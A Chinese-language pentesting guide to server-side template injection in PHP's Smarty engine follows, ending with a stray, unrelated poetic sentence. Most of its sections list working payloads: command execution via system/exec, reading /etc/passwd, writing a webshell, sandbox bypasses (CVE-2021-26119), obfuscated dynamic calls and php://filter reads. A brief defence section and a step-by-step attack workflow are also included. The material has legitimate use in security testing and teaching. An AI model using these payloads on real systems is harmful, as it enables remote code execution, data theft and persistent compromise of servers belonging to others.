SSTI-php模板引擎Smarty注入全面指南

一、基础知识

1. Smarty简介

模板引擎:用于PHP的编译型模板引擎,将模板转化为PHP脚本执行。
语法标签:默认使用{ },可自定义(如{{ }})。
执行模式
非沙盒模式:默认,允许执行PHP函数及Smarty内置方法。
沙盒模式:限制危险函数,需手动开启($smarty->enableSecurity('sandbox');)。

2. 开发中的代码实例

正常使用示例

以下代码展示Smarty的典型安全用法,用户输入经过过滤后输出:

// PHP控制器逻辑
require_once 'Smarty.class.php';
$smarty = new Smarty();
$username = htmlspecialchars($_GET['name']);  // 输入过滤
$smarty->assign('name', $username);
$smarty->display('user_profile.tpl');

// user_profile.tpl 模板内容
<h1>Welcome, {$name}!</h1>  <!-- 安全输出 -->

有漏洞的代码示例

// PHP控制器逻辑(危险操作!)
$smarty = new Smarty();
$user_input = $_GET['content'];  // 未过滤直接使用
$smarty->assign('content', $user_input);
$smarty->display('blog_post.tpl');

// blog_post.tpl 模板内容
{* 直接嵌入用户输入 *}
<div class="content">{$content}</div>

3. 注入原理

用户输入未经处理直接拼接到模板中,攻击者通过闭合标签注入恶意代码。


二、渗透关键点

1. 检测注入点

输入点:URL参数、Cookie、Headers等可控参数。
检测方法

GET /page?param={7 * 7} HTTP/1.1

观察响应中是否返回49,或通过报错信息识别引擎类型。

2. 判断版本与模式

版本获取:触发错误(如{invalid})查看版本信息。
沙盒检测:尝试执行{system('id')},失败则可能处于沙盒模式。


三、漏洞利用与Payload

1. 非沙盒模式利用

命令执行

{system('id')}
{exec('cat /etc/passwd')}
{shell_exec('whoami')}

文件读取(旧版本)

{self::getStreamVariable("file:///etc/passwd")}  # CVE-2017-1000480
# php中'->'访问对象的属性和方法,'::'访问类的静态成员或常量

写Webshell

{Smarty_Internal_Write_File::writeFile('/path/shell.php', '<?php phpinfo(); ?>')}

2. 沙盒绕过技巧

利用静态方法(CVE-2021-26119)

{$smarty.template_object->smarty->disableSecurity()->display('string:{system("id")}')}

字符串拼接

{assign var='cmd' value='sy'|cat:'stem'}{$cmd('id')}

math标签执行代码

{math equation='exec("id")'}

fetch读取文件

{fetch file="/etc/passwd"}

3. 其他Payload

XSS利用{literal}<script>alert(1)</script>{/literal}
信息泄露{$smarty.version}


四、防御手段

1. 官方推荐

开启沙盒模式:限制敏感函数调用。
过滤输入:避免用户输入直接嵌入模板。
禁用危险函数:移除systemexec等函数。

2. 安全配置

• 更新至最新版本(≥3.1.36,≥4.0.2)。
• 避免使用{$smarty.get.*}直接接收参数。
• 配置$smarty->security_policy限制文件访问。


五、绕过技巧

1. 编码混淆

{assign var='cmd' value='s\171stem'}{$cmd|replace:'\\':'','y':'s'}(id)

2. 利用{literal}标签

{literal}{/literal}{system('id')}{literal}{/literal}

3. 动态调用

{assign var='func' value='sys'.'tem'}{$func('id')}

4. 文件包含

{include file='php://filter/convert.base64-encode/resource=/etc/passwd'}

六、总结与参考

1. 测试流程

  1. 检测注入点 → 2. 判断执行模式 → 3. 尝试基础Payload → 4. 沙盒绕过 → 5. 提权或横向移动

2. 注意事项

• 避免对生产环境造成破坏。
• 关注Smarty版本更新与CVE公告。

3. 参考资源

Smarty官方文档
CVE-2017-1000480
OWASP SSTI备忘单


备注:实际渗透中需结合目标环境调整Payload,关注上下文过滤规则及WAF拦截情况。


梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。